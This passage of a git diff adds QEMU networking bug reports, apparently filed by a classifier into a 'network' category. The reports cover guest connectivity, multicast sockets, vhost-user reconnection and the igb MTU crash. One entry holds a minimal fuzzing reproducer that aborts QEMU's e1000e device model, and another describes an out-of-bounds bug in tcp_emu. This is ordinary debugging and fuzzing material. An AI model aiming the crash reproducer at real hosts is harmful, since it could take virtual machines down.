/root/.ssh/id_dsa type -1 +debug1: key_load_public: No such file or directory +debug1: identity file /root/.ssh/id_dsa-cert type -1 +debug1: key_load_public: No such file or directory +debug1: identity file /root/.ssh/id_ecdsa type -1 +debug1: key_load_public: No such file or directory +debug1: identity file /root/.ssh/id_ecdsa-cert type -1 +debug1: key_load_public: No such file or directory +debug1: identity file /root/.ssh/id_ed25519 type -1 +debug1: key_load_public: No such file or directory +debug1: identity file /root/.ssh/id_ed25519-cert type -1 +debug1: Local version string SSH-2.0-OpenSSH_7.6p1 Ubuntu-4ubuntu0.3 +ssh_exchange_identification: read: Connection reset by peer \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1856027 b/results/classifier/gemma3:12b/network/1856027 new file mode 100644 index 000000000..beba2688b --- /dev/null +++ b/results/classifier/gemma3:12b/network/1856027 @@ -0,0 +1,8 @@ + +Suddenly no internet in guest system! + +I use Opensuse 15.1 i have installed androidx86_64 as a guest system, it runs for over 3 years. i had a internetconnection, i could use apps etc. but since yesterday i can´t connect to the internet with the guest system in the host system all works fine. What could be the reason? There haven´t been an update and i haven´t changed anything. +The settings in nic are: bridge br0: Hostdevice eth0 +devicemodel: e1000 + +The qemu Version is from the opensuse repo: 3.1.1 \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1857226 b/results/classifier/gemma3:12b/network/1857226 new file mode 100644 index 000000000..829af3762 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1857226 @@ -0,0 +1,12 @@ + +'set_link net0 off' not working with e1000e driver + +I'm encountering a bug with the e1000e network driver, that appears to got previously reported at rhbz. Steps to reproduce are provided in detail there: + +https://bugzilla.redhat.com/show_bug.cgi?id=1707646 + +It is about switching off network link state (set_link net0 off) having no effect when using the e1000e driver. + +Version details: +QEMU emulator version 4.1.1 (qemu-4.1.1-1.fc31) +Fedora 31 \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1857811 b/results/classifier/gemma3:12b/network/1857811 new file mode 100644 index 000000000..c7b38de33 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1857811 @@ -0,0 +1,8 @@ + +qemu user static binary seems to lack support for network namespace. + +Whenever I execute emerge in gentoo linux in qemu-aarch64 chroot, I see the following error message. + +Unable to configure loopback interface: Operation not supported + +If I disable emerge's network-sandbox which utilizes network namespace, the error disappears. \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1858415 b/results/classifier/gemma3:12b/network/1858415 new file mode 100644 index 000000000..715756d34 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1858415 @@ -0,0 +1,25 @@ + +in tcp_emu function has OOB bug + +qemu version: 4.1.0 + +```c +int tcp_emu(struct socket *so, struct mbuf *m){ +............ +case EMU_REALAUDIO: +............ + while (bptr < m->m_data + m->m_len) { + case 6: +............ + lport = (((uint8_t *)bptr)[0] << 8) + ((uint8_t *)bptr)[1]; +............ + *(uint8_t *)bptr++ = (p >> 8) & 0xff; + *(uint8_t *)bptr = p & 0xff; +............ + } +............ +............ +} +``` + +bptr)[1] and bptr++ ,may make bptr == m->m_data + m->m_len,and cause OOB（out of bounds.） \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1861875 b/results/classifier/gemma3:12b/network/1861875 new file mode 100644 index 000000000..8c88d23e3 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1861875 @@ -0,0 +1,20 @@ + +VDE networking barely working + +Running qemu with a vde_switch and slirpvde: + + vde_switch -F -sock /tmp/qemu_vde_switch -M /tmp/qemu_vde_mgmt + slirpvde -s /tmp/qemu_vde_switch -dhcp + qemu-system-x86_64 -m 2048 -smp 2 -serial mon:stdio -display none -vga none -nodefaults -accel hax -net nic,macaddr=52:54:00:0e:e0:61,model=virtio -net vde,sock=/tmp/qemu_vde_switch -device virtio-rng-pci -drive file=worker.qcow2,if=virtio -drive file=cloud-init.iso,format=raw,if=virtio + +There is some network connectivity, ping and curl work, but bigger transfers like apt-get update break with the following errors printed in the output of vde_switch: + + vde_switch: send_sockaddr port 2: No buffer space available + vde_switch: send_sockaddr port 2: No buffer space available + vde_switch: send_sockaddr port 2: No buffer space available + +I've tried to change the MTU size and model of the adapter inside of the VM, but nothing worked. + +OS: macOS 10.15.2 +qemu: 4.2.0 +vde2 (vde_switch / slirpvde): 2.3.2 \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1861884 b/results/classifier/gemma3:12b/network/1861884 new file mode 100644 index 000000000..d0650a3ff --- /dev/null +++ b/results/classifier/gemma3:12b/network/1861884 @@ -0,0 +1,22 @@ + +qemu socket multicast not working + +Running two qemu vms on the same socket multicast address: + + qemu-system-x86_64 -m 2048 -smp 2 -serial mon:stdio -display none -vga none + -nodefaults -accel hax + -netdev user,id=mynet0 + -device virtio-net-pci,netdev=mynet0 + -netdev socket,id=vlan,mcast=239.192.0.1:1235 + -device virtio-net-pci,netdev=vlan + -device virtio-rng-pci + -drive file=worker.qcow2,if=virtio + -drive file=cloud-init.iso,format=raw,if=virtio + +The two machines have a static ip on the socket network interface, 192.168.100.11 and 192.168.100.12, but are unable to reach each other. + +Is there additional configuration necessary on macos? Does this only work on Linux? + +guest OS: Debian 10 (Buster) +host OS: macOS 10.15.2 +qemu: 4.2.0 \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1862415 b/results/classifier/gemma3:12b/network/1862415 new file mode 100644 index 000000000..f0e48182d --- /dev/null +++ b/results/classifier/gemma3:12b/network/1862415 @@ -0,0 +1,81 @@ + +-nic user cannot receive TFTP response from outside on windows 10 host + +Configuration: +qemu is on a windows 10 host, address 192.168.1.24 +A tftp server, which is atftpd, is at address 192.168.1.31 +a guest is started by: +``` +.\qemu-system-x86_64.exe -accel hax \ +-nic user,id=n1,tftp-server-name=192.168.1.31,bootfile=tftp://192.168.1.31/grub/i386-pc/core.0 \ +-object filter-dump,id=f1,netdev=n1,file=dump.dat +``` + +qemu v4.2.0-11797-g2890edc853-dirty, from https://qemu.weilnetz.de/w64/ +windows 10 1909 18363.628 + +Here is the captured traffic from dump.dat, no filter applied: +No. Time Source Destination Protocol Length Info +1 0.000000 0.0.0.0 255.255.255.255 DHCP 439 DHCP Discover - Transaction ID 0xdb38340e +2 0.000081 10.0.2.2 255.255.255.255 DHCP 590 DHCP Offer - Transaction ID 0xdb38340e +3 1.035670 0.0.0.0 255.255.255.255 DHCP 439 DHCP Discover - Transaction ID 0xdb38340e +4 1.035693 10.0.2.2 255.255.255.255 DHCP 590 DHCP Offer - Transaction ID 0xdb38340e +5 3.068055 0.0.0.0 255.255.255.255 DHCP 451 DHCP Request - Transaction ID 0xdb38340e +6 3.068099 10.0.2.2 255.255.255.255 DHCP 590 DHCP ACK - Transaction ID 0xdb38340e +7 3.068209 RealtekU_12:34:56 Broadcast ARP 42 ARP Announcement for 10.0.2.15 +8 3.148419 RealtekU_12:34:56 Broadcast ARP 42 Who has 10.0.2.2? Tell 10.0.2.15 +9 3.148449 52:55:0a:00:02:02 RealtekU_12:34:56 ARP 64 10.0.2.2 is at 52:55:0a:00:02:02 +10 3.148511 10.0.2.15 192.168.1.31 TFTP 91 Read Request, File: grub/i386-pc/core.0, Transfer type: octet, blksize=1432, tsize=0 +11 3.398093 10.0.2.15 192.168.1.31 TFTP 91 Read Request, File: grub/i386-pc/core.0, Transfer type: octet, blksize=1432, tsize=0 +12 3.946041 10.0.2.15 192.168.1.31 TFTP 91 Read Request, File: grub/i386-pc/core.0, Transfer type: octet, blksize=1432, tsize=0 +13 4.990262 10.0.2.15 192.168.1.31 TFTP 91 Read Request, File: grub/i386-pc/core.0, Transfer type: octet, blksize=1432, tsize=0 +14 7.022839 10.0.2.15 192.168.1.31 TFTP 91 Read Request, File: grub/i386-pc/core.0, Transfer type: octet, blksize=1432, tsize=0 +15 11.087041 10.0.2.15 192.168.1.31 TFTP 91 Read Request, File: grub/i386-pc/core.0, Transfer type: octet, blksize=1432, tsize=0 + + +Here is the captured traffic at host NIC, filered by from or to 192.168.1.31 +No. Time Source Destination Protocol Length Info +14140 57.729066 192.168.1.24 192.168.1.31 TFTP 91 Read Request, File: grub/i386-pc/core.0, Transfer type: octet, blksize=1432, tsize=0 +14141 57.732988 192.168.1.31 192.168.1.24 TFTP 69 Option Acknowledgement, tsize=45542, blksize=1432 +14255 57.977995 192.168.1.24 192.168.1.31 TFTP 91 Read Request, File: grub/i386-pc/core.0, Transfer type: octet, blksize=1432, tsize=0 +14256 57.979876 192.168.1.31 192.168.1.24 TFTP 69 Option Acknowledgement, tsize=45542, blksize=1432 +14275 58.525939 192.168.1.24 192.168.1.31 TFTP 91 Read Request, File: grub/i386-pc/core.0, Transfer type: octet, blksize=1432, tsize=0 +14276 58.527819 192.168.1.31 192.168.1.24 TFTP 69 Option Acknowledgement, tsize=45542, blksize=1432 +14328 59.570178 192.168.1.24 192.168.1.31 TFTP 91 Read Request, File: grub/i386-pc/core.0, Transfer type: octet, blksize=1432, tsize=0 +14329 59.581024 192.168.1.31 192.168.1.24 TFTP 69 Option Acknowledgement, tsize=45542, blksize=1432 +14383 61.602742 192.168.1.24 192.168.1.31 TFTP 91 Read Request, File: grub/i386-pc/core.0, Transfer type: octet, blksize=1432, tsize=0 +14384 61.605554 192.168.1.31 192.168.1.24 TFTP 69 Option Acknowledgement, tsize=45542, blksize=1432 +14730 62.736572 192.168.1.31 192.168.1.24 TFTP 69 Option Acknowledgement, tsize=45542, blksize=1432 +14741 62.987924 192.168.1.31 192.168.1.24 TFTP 69 Option Acknowledgement, tsize=45542, blksize=1432 +14756 63.533477 192.168.1.31 192.168.1.24 TFTP 69 Option Acknowledgement, tsize=45542, blksize=1432 +14815 64.577653 192.168.1.31 192.168.1.24 TFTP 69 Option Acknowledgement, tsize=45542, blksize=1432 +14916 65.666959 192.168.1.24 192.168.1.31 TFTP 91 Read Request, File: grub/i386-pc/core.0, Transfer type: octet, blksize=1432, tsize=0 +14917 65.668778 192.168.1.31 192.168.1.24 TFTP 69 Option Acknowledgement, tsize=45542, blksize=1432 +15235 66.615186 192.168.1.31 192.168.1.24 TFTP 69 Option Acknowledgement, tsize=45542, blksize=1432 +15481 67.745250 192.168.1.31 192.168.1.24 TFTP 69 Option Acknowledgement, tsize=45542, blksize=1432 +15509 67.991523 192.168.1.31 192.168.1.24 TFTP 69 Option Acknowledgement, tsize=45542, blksize=1432 +15566 68.539050 192.168.1.31 192.168.1.24 TFTP 69 Option Acknowledgement, tsize=45542, blksize=1432 +16691 69.583531 192.168.1.31 192.168.1.24 TFTP 69 Option Acknowledgement, tsize=45542, blksize=1432 +17457 70.675366 192.168.1.31 192.168.1.24 TFTP 69 Option Acknowledgement, tsize=45542, blksize=1432 +17599 71.615337 192.168.1.31 192.168.1.24 TFTP 69 Option Acknowledgement, tsize=45542, blksize=1432 +17904 72.747338 192.168.1.31 192.168.1.24 TFTP 69 Option Acknowledgement, tsize=45542, blksize=1432 +18012 72.995681 192.168.1.31 192.168.1.24 TFTP 69 Option Acknowledgement, tsize=45542, blksize=1432 +18192 73.544257 192.168.1.31 192.168.1.24 TFTP 69 Option Acknowledgement, tsize=45542, blksize=1432 +18360 74.588002 192.168.1.31 192.168.1.24 TFTP 69 Option Acknowledgement, tsize=45542, blksize=1432 +18981 75.679037 192.168.1.31 192.168.1.24 TFTP 69 Option Acknowledgement, tsize=45542, blksize=1432 +19270 76.620528 192.168.1.31 192.168.1.24 TFTP 69 Option Acknowledgement, tsize=45542, blksize=1432 +19839 77.752338 192.168.1.31 192.168.1.24 TFTP 69 Option Acknowledgement, tsize=45542, blksize=1432 +19852 78.001267 192.168.1.31 192.168.1.24 TFTP 69 Option Acknowledgement, tsize=45542, blksize=1432 +19917 78.548965 192.168.1.31 192.168.1.24 TFTP 69 Option Acknowledgement, tsize=45542, blksize=1432 +20066 79.593232 192.168.1.31 192.168.1.24 TFTP 69 Option Acknowledgement, tsize=45542, blksize=1432 +20140 80.684604 192.168.1.31 192.168.1.24 TFTP 69 Option Acknowledgement, tsize=45542, blksize=1432 +20220 81.625996 192.168.1.31 192.168.1.24 TFTP 69 Option Acknowledgement, tsize=45542, blksize=1432 +20537 82.824574 192.168.1.31 192.168.1.24 TFTP 69 Option Acknowledgement, tsize=45542, blksize=1432 +20551 83.033318 192.168.1.31 192.168.1.24 TFTP 69 Option Acknowledgement, tsize=45542, blksize=1432 +20607 83.555510 192.168.1.31 192.168.1.24 TFTP 69 Option Acknowledgement, tsize=45542, blksize=1432 +20734 84.598612 192.168.1.31 192.168.1.24 TFTP 69 Option Acknowledgement, tsize=45542, blksize=1432 +20816 85.691535 192.168.1.31 192.168.1.24 TFTP 69 Option Acknowledgement, tsize=45542, blksize=1432 +20898 86.631036 192.168.1.31 192.168.1.24 TFTP 69 Option Acknowledgement, tsize=45542, blksize=1432 +22311 90.695296 192.168.1.31 192.168.1.24 TFTP 69 Option Acknowledgement, tsize=45542, blksize=1432 + +From the traffic, the guest sent the request properly, and it is rerouted outside properly, and the server respond to it properly. However, the guest never received the response. \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1862979 b/results/classifier/gemma3:12b/network/1862979 new file mode 100644 index 000000000..bfa8eb189 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1862979 @@ -0,0 +1,16 @@ + +Cannot Create Socket Networking in Windows Host using Multicast + +Hello QEMU devs, + +I am trying to create a simulated VLAN using socket networking, and the only way to connect multiple networks in QEMU using socket networking is by using the multicast `mcast` option of the `socket` network backend. + +However, when I try use the following arguments in QEMU to create a multicast socket network: + +`-device e1000,id=sock-0 -netdev id=sock-0,mcast=230.0.0.1:1234` + +it fails with: + +`can't bind ip address=230.0.0.1: unknown error` in my Windows host. + +I would like to know if this is a bug, or if I am missing a prerequisite before running the QEMU command. \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1863 b/results/classifier/gemma3:12b/network/1863 new file mode 100644 index 000000000..8252774eb --- /dev/null +++ b/results/classifier/gemma3:12b/network/1863 @@ -0,0 +1,73 @@ + +Assertion `core->delayed_causes == 0` failed in hw/net/e1000e_core.c:353 during fuzzing +Description of problem: +Got an assertion failure `core->delayed_causes == 0` when fuzzing e1000e. +Steps to reproduce: +Minimized reproducer for the error: + +```plaintext +cat << EOF | ./qemu-system-x86_64 -display none -machine accel=qtest, -m 512M -M q35 \ +-nodefaults -device e1000e,netdev=net0 -netdev user,id=net0 -qtest \ +/dev/null -qtest stdio +outl 0xcf8 0x80000810 +outl 0xcfc 0xe0000000 +outl 0xcf8 0x80000804 +outw 0xcfc 0x06 +write 0xe000042a 0x2 0x0241 +write 0xe0000402 0x2 0x0200 +write 0x400b 0x1 0x88 +write 0xe0000438 0x4 0x01040000 +outl 0xcf8 0x800008a3 +outb 0xcfc 0x80 +EOF +``` +Additional information: +The crash report triggered by the reproducer is: + +```plaintext +qemu-fuzz-x86_64: /../hw/net/e1000e_core.c:353: uint32_t e1000e_intmgr_collect_delayed_causes(E1000ECore *): Assertion `core->delayed_causes == 0' failed. +==2036033== ERROR: libFuzzer: deadly signal + #0 0x5606ff6c555e in __sanitizer_print_stack_trace ../../../llvm-project-15.0.0.src/compiler-rt/lib/asan/asan_stack.cpp:87:3 + #1 0x5606ff607bb1 in fuzzer::PrintStackTrace() ../../../llvm-project-15.0.0.src/compiler-rt/lib/fuzzer/FuzzerUtil.cpp:210:38 + #2 0x5606ff5e2486 in fuzzer::Fuzzer::CrashCallback() (.part.0) ../../../llvm-project-15.0.0.src/compiler-rt/lib/fuzzer/FuzzerLoop.cpp:233:18 + #3 0x5606ff5e254d in fuzzer::Fuzzer::CrashCallback() ../../../llvm-project-15.0.0.src/compiler-rt/lib/fuzzer/FuzzerLoop.cpp:205:1 + #4 0x5606ff5e254d in fuzzer::Fuzzer::StaticCrashSignalCallback() ../../../llvm-project-15.0.0.src/compiler-rt/lib/fuzzer/FuzzerLoop.cpp:204:19 + #5 0x7f7490e4e41f (/lib/x86_64-linux-gnu/libpthread.so.0+0x1441f) (BuildId: 7b4536f41cdaa5888408e82d0836e33dcf436466) + #6 0x7f7490c4200a in __libc_signal_restore_set /build/glibc-SzIz7B/glibc-2.31/signal/../sysdeps/unix/sysv/linux/internal-signals.h:86:3 + #7 0x7f7490c4200a in raise /build/glibc-SzIz7B/glibc-2.31/signal/../sysdeps/unix/sysv/linux/raise.c:48:3 + #8 0x7f7490c21858 in abort /build/glibc-SzIz7B/glibc-2.31/stdlib/abort.c:79:7 + #9 0x7f7490c21728 in __assert_fail_base /build/glibc-SzIz7B/glibc-2.31/assert/assert.c:92:3 + #10 0x7f7490c32fd5 in __assert_fail /build/glibc-SzIz7B/glibc-2.31/assert/assert.c:101:3 + #11 0x5606ffd20c33 in e1000e_intmgr_collect_delayed_causes ../hw/net/e1000e_core.c:353:9 + #12 0x5606ffd20c33 in e1000e_set_interrupt_cause ../hw/net/e1000e_core.c:2203:12 + #13 0x5606ffd1bd1b in e1000e_receive_internal ../hw/net/e1000e_core.c:1751:9 + #14 0x56070055a58a in qemu_deliver_packet_iov ../net/net.c:820:15 + #15 0x56070055e215 in qemu_net_queue_deliver ../net/queue.c:164:11 + #16 0x56070055f9ca in qemu_net_queue_flush ../net/queue.c:286:15 + #17 0x56070054f5c8 in qemu_flush_or_purge_queued_packets ../net/net.c:681:9 + #18 0x5606ffd14ff5 in e1000e_start_recv ../hw/net/e1000e_core.c:983:9 + #19 0x5606ffd3c33b in e1000e_set_rx_control ../hw/net/e1000e_core.c:1959:9 + #20 0x5606ffd20fe8 in e1000e_core_write ../hw/net/e1000e_core.c:3306:9 + #21 0x560700caeb43 in memory_region_write_accessor ../softmmu/memory.c:493:5 + #22 0x560700cae2ca in access_with_adjusted_size ../softmmu/memory.c:569:18 + #23 0x560700cad670 in memory_region_dispatch_write ../softmmu/memory.c + #24 0x560700cf7d6f in flatview_write_continue ../softmmu/physmem.c:2677:23 + #25 0x560700cef213 in flatview_write ../softmmu/physmem.c:2719:12 + #26 0x560700ceef27 in address_space_write ../softmmu/physmem.c:2815:18 + #27 0x560700420b2f in qtest_process_command ../softmmu/qtest.c:558:13 + #28 0x56070041ecfb in qtest_process_inbuf ../softmmu/qtest.c:810:9 + #29 0x56070041eb19 in qtest_server_inproc_recv ../softmmu/qtest.c:941:9 + #30 0x56070126a792 in qtest_sendf ../tests/qtest/libqtest.c:607:5 + #31 0x56070126ae9e in qtest_write ../tests/qtest/libqtest.c:1072:5 + #32 0x56070126ae9e in qtest_writel ../tests/qtest/libqtest.c:1088:5 + #33 0x5606ff7058cb in __wrap_qtest_writel ../tests/qtest/fuzz/qtest_wrappers.c:180:9 + #34 0x5606ff70d5f2 in op_write ../tests/qtest/fuzz/generic_fuzz.c:485:13 + #35 0x5606ff70bd2f in generic_fuzz ../tests/qtest/fuzz/generic_fuzz.c:666:13 + #36 0x5606ff7008e7 in LLVMFuzzerTestOneInput ../tests/qtest/fuzz/fuzz.c:158:5 + #37 0x5606ff5e2d08 in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long) ../../../llvm-project-15.0.0.src/compiler-rt/lib/fuzzer/FuzzerLoop.cpp:612:15 + #38 0x5606ff5c6124 in fuzzer::RunOneTest(fuzzer::Fuzzer*, char const*, unsigned long) ../../../llvm-project-15.0.0.src/compiler-rt/lib/fuzzer/FuzzerDriver.cpp:324:21 + #39 0x5606ff5d2b0a in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned long)) ../../../llvm-project-15.0.0.src/compiler-rt/lib/fuzzer/FuzzerDriver.cpp:860:19 + #40 0x5606ff5bd8d6 in main ../../../llvm-project-15.0.0.src/compiler-rt/lib/fuzzer/FuzzerMain.cpp:20:30 + #41 0x7f7490c23082 in __libc_start_main /build/glibc-SzIz7B/glibc-2.31/csu/../csu/libc-start.c:308:16 + #42 0x5606ff5bd95d in _start (./qemu-fuzz-x86_64+0x1ef595d) +``` diff --git a/results/classifier/gemma3:12b/network/1863096 b/results/classifier/gemma3:12b/network/1863096 new file mode 100644 index 000000000..c3c80c300 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1863096 @@ -0,0 +1,67 @@ + +vhost-user multi-queues interrupt failed when Qemu reconnection happens + +After upgrade qemu to v4.2.0, vhost-user multi-queues interrupt failed with event idx interrupt mode when reconnection happens. + +Test Environment: +DPDK version: DPDK v19.11 +Other software versions: qemu 4.2.0. +OS: Linux 4.15.0-20-generic +Compiler: gcc (Ubuntu 7.3.0-16ubuntu3) 7.3.0 +Hardware platform: Purley. + +The reproduce step is: +1. Launch l3fwd-power example app with client mode:: + + ./l3fwd-power -l 1-16 \ + -n 4 --socket-mem 1024,1024 --legacy-mem --no-pci\ + --log-level=9 \ + --vdev 'eth_vhost0,iface=/vhost-net0,queues=16,client=1' \ + -- -p 0x1 \ + --parse-ptype 1 \ + --config "(0,0,1),(0,1,2),(0,2,3),(0,3,4),(0,4,5),(0,5,6),(0,6,7),(0,7,8),(0,8,9),(0,9,10),(0,10,11),(0,11,12),(0,12,13),(0,13,14),(0,14,15),(0,15,16)" + +2. Launch VM1 with server mode: + +3. Relauch l3fwd-power sample to for reconnection: + + ./l3fwd-power -l 1-16 \ + -n 4 --socket-mem 1024,1024 --legacy-mem --no-pci\ + --log-level=9 \ + --vdev 'eth_vhost0,iface=/vhost-net0,queues=16,client=1' \ + -- -p 0x1 \ + --parse-ptype 1 \ + --config "(0,0,1),(0,1,2),(0,2,3),(0,3,4),(0,4,5),(0,5,6),(0,6,7),(0,7,8),(0,8,9),(0,9,10),(0,10,11),(0,11,12),(0,12,13),(0,13,14),(0,14,15),(0,15,16)" + +4. Set vitio-net with 16 quques and give vitio-net ip address: + + ethtool -L [ens3] combined 16 # [ens3] is the name of virtio-net + ifconfig [ens3] 1.1.1.1 + +5. Send packets with different IPs from virtio-net, notice to bind each vcpu to different send packets process:: + + taskset -c 0 ping 1.1.1.2 + taskset -c 1 ping 1.1.1.3 + taskset -c 2 ping 1.1.1.4 + taskset -c 3 ping 1.1.1.5 + taskset -c 4 ping 1.1.1.6 + taskset -c 5 ping 1.1.1.7 + taskset -c 6 ping 1.1.1.8 + taskset -c 7 ping 1.1.1.9 + taskset -c 8 ping 1.1.1.2 + taskset -c 9 ping 1.1.1.2 + taskset -c 10 ping 1.1.1.2 + taskset -c 11 ping 1.1.1.2 + taskset -c 12 ping 1.1.1.2 + taskset -c 13 ping 1.1.1.2 + taskset -c 14 ping 1.1.1.2 + taskset -c 15 ping 1.1.1.2 + +If everything ok, then we can see the result such as following: + + L3FWD_POWER: lcore 0 is waked up from rx interrupt on port 0 queue 0 + ... + ... + L3FWD_POWER: lcore 15 is waked up from rx interrupt on port 0 queue 15 + +But we can't see the log above because of the bug. \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1863200 b/results/classifier/gemma3:12b/network/1863200 new file mode 100644 index 000000000..f8e2fe8ad --- /dev/null +++ b/results/classifier/gemma3:12b/network/1863200 @@ -0,0 +1,71 @@ + +Reconnect failed with loopback virtio1.1 server mode test + +Issue discription： +Packed ring server mode is a new feature to enable the virtio-user or virtio-pmd(in VM) as the server, vhost as the client, then when the vhost-user is killed then re-launched, the vhost-user can connect back to virtio-user/virtio-pmd again. Test with dpdk 20.02 ,virtio-pmd loopback reconnect from vhost-user failed. + +Test Environment: +DPDK version: DPDK v20.02 +Other software versions: virtio1.1 +Qemu versions:4.2.0 +OS: Linux 4.15.0-20-generic +Compiler: gcc (Ubuntu 7.5.0-3ubuntu1~18.04) 7.5.0 +Hardware platform: R2208WFTZSR. + +The reproduce step is : +Test Case: vhost-user/virtio-pmd loopback reconnect from vhost-user +=============================================================== +Flow: Vhost-user --> Virtio --> Vhost-user + +1. Launch vhost-user with client mode by below commands:: + + ./testpmd -c 0x30 -n 4 --socket-mem 1024,1024 --legacy-mem --vdev 'eth_vhost0,iface=/tmp/vhost-net,client=1,queues=1' -- -i --nb-cores=1 + testpmd>set fwd mac + +2. Start VM with 1 virtio device, and set the qemu as server mode:: + + ./qemu-system-x86_64 -name vm2 -enable-kvm -cpu host -smp 100 -m 8G \ + -object memory-backend-file,id=mem,size=8192M,mem-path=/mnt/huge,share=on \ + -numa node,memdev=mem -mem-prealloc -drive file=/home/xuan/dpdk_project/shell/u18.img \ + -chardev socket,path=/tmp/vm2_qga0.sock,server,nowait,id=vm2_qga0 -device virtio-serial \ + -device virtserialport,chardev=vm2_qga0,name=org.qemu.guest_agent.2 -daemonize \ + -monitor unix:/tmp/vm2_monitor.sock,server,nowait -net nic,macaddr=00:00:00:08:e8:aa,addr=1f \ + -net user,hostfwd=tcp:127.0.0.1:6002-:22 \ + -chardev socket,id=char0,path=/tmp/vhost-net,server \ + -netdev type=vhost-user,id=netdev0,chardev=char0,vhostforce \ + -device virtio-net-pci,netdev=netdev0,mac=52:54:00:00:00:01,mrg_rxbuf=on,rx_queue_size=1024,tx_queue_size=1024,packed=on \ + -vnc :10 + +3. On VM, bind virtio net to igb_uio and run testpmd:: + + ./testpmd -c 0x3 -n 4 -- -i --nb-cores=1 --txd=1024 --rxd=1024 + testpmd>set fwd mac + testpmd>start + +4. Send packets by vhost-user, check if packets can be RX/TX with virtio-pmd:: + + testpmd>start tx_first 32 + testpmd>show port stats all + +5. On host, quit vhost-user, then re-launch the vhost-user with below command:: + + testpmd>quit + ./testpmd -c 0x30 -n 4 --socket-mem 1024,1024 --legacy-mem --vdev 'eth_vhost0,iface=/tmp/vhost-net,client=1,queues=1' -- -i --nb-cores=1 + testpmd>set fwd mac + testpmd>start tx_first 32 + +6. Check if the reconnection can work, still send packets by vhost-user, check if packets can be RX/TX with virtio-pmd:: + + testpmd>show port stats all + +Expected result:: + +After the vhost-user is killed then re-launched, the VM can connect back to vhost-user again with throughput. + +Real result:: + +After the vhost-user is killed then re-launched, no throughput with PVP. + +Analysis:: + +QEMU has its own way to handle reconnect function for virtio server mode. However, for packed ring, when reconnecting to virtio, vhost cannot get the status of descriptors via the descriptor ring. This bug is caused since the reconnection for packed ring need additional reset operation. \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1870331 b/results/classifier/gemma3:12b/network/1870331 new file mode 100644 index 000000000..2da9f54c2 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1870331 @@ -0,0 +1,44 @@ + +default nic device created even though supplied by configfile + +QEMU emulator version 4.1.94 + +Documentation states that qemu will create a default nic as long as not explicitly forbidden (-nic none) or defined ( e.g. -nic <options>). + +Observation: +Even though qemu-system-ppc is started with "-readconfig" (which defines a nic), another nic gets created. When additionally suppling "-nic none", only the nic of the config file is created. +As matter of fact, if all items that are defined in config file are supplied as command line arguments, no further nic is created. + +Expectation: +When a nic is defined in config file, the default guest-nic should not get created. +That would match behavior when all items, defined in config file are supplied as command line arguments. + + +Attached config file. + +(qemu) info pci + Bus 0, device 0, function 0: + Host bridge: PCI device 1057:0002 + PCI subsystem 1af4:1100 + id "" + Bus 0, device 1, function 0: + VGA controller: PCI device 1234:1111 + PCI subsystem 1af4:1100 + BAR0: 32 bit prefetchable memory at 0x80000000 [0x80ffffff]. + BAR2: 32 bit memory at 0x81000000 [0x81000fff]. + BAR6: 32 bit memory at 0xffffffffffffffff [0x0000fffe]. + id "" + Bus 0, device 2, function 0: + Ethernet controller: PCI device 10ec:8029 + PCI subsystem 1af4:1100 + IRQ 23. + BAR0: I/O at 0x1000 [0x10ff]. + BAR6: 32 bit memory at 0xffffffffffffffff [0x0007fffe]. + id "" + Bus 0, device 3, function 0: + Ethernet controller: PCI device 10ec:8029 + PCI subsystem 1af4:1100 + IRQ 24. + BAR0: I/O at 0x1100 [0x11ff]. + BAR6: 32 bit memory at 0xffffffffffffffff [0x0007fffe]. + id "" \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1873 b/results/classifier/gemma3:12b/network/1873 new file mode 100644 index 000000000..2d31c5be9 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1873 @@ -0,0 +1,85 @@ + +igb driver failed to change MTU +Description of problem: +I am using the new IGB model to test sriov inside a virtual machine. + +and when the operator tries to configure MTU of 9000 on the VF I get a kernel crash and the node goes into reboot + +``` +virsh console virt-cluster-worker-0 +Connected to domain 'virt-cluster-worker-0' +Escape character is ^] (Ctrl + ]) +[ 486.776188] kernel BUG at include/linux/skbuff.h:2420! +[ 486.779661] invalid opcode: 0000 [#1] PREEMPT SMP NOPTI +[ 486.781938] CPU: 1 PID: 0 Comm: swapper/1 Not tainted 5.14.0-284.16.1.el9_2.x86_64 #1 +[ 486.783847] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS rel-1.16.2-0-gea1b7a073390-prebuilt.qemu.org 04/01/2014 +[ 486.785681] RIP: 0010:eth_type_trans+0xd3/0x140 +[ 486.787051] Code: 80 00 00 00 eb c1 8b 47 70 2b 47 74 48 8b 97 c8 00 00 00 83 f8 01 7e 1b 48 85 d2 74 06 66 83 3a ff 74 09 b8 00 04 00 00 eb a5 <0f> 0b b8 00 01 00 00 eb 9c 48 85 ff 74 eb 31 f6 b9 02 00 00 00 48 +[ 486.790542] RSP: 0018:ffffaef200114e30 EFLAGS: 00010283 +[ 486.791726] RAX: 000000000000002e RBX: ffffaef206a38000 RCX: 0000000000000028 +[ 486.793086] RDX: ffff90bb7767a840 RSI: ffff90bc7d6a0000 RDI: ffff90bb413bc600 +[ 486.794430] RBP: ffff90bb413bc600 R08: 0000000000000000 R09: ffff90bc7d6a0980 +[ 486.795779] R10: 000000000000003c R11: 00000001a8be8000 R12: 0000000000000001 +[ 486.797132] R13: 0000000000000003 R14: ffff90bd3b94e400 R15: ffff90bdcbc8c000 +[ 486.798499] FS: 0000000000000000(0000) GS:ffff90beafc40000(0000) knlGS:0000000000000000 +[ 486.800325] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 +[ 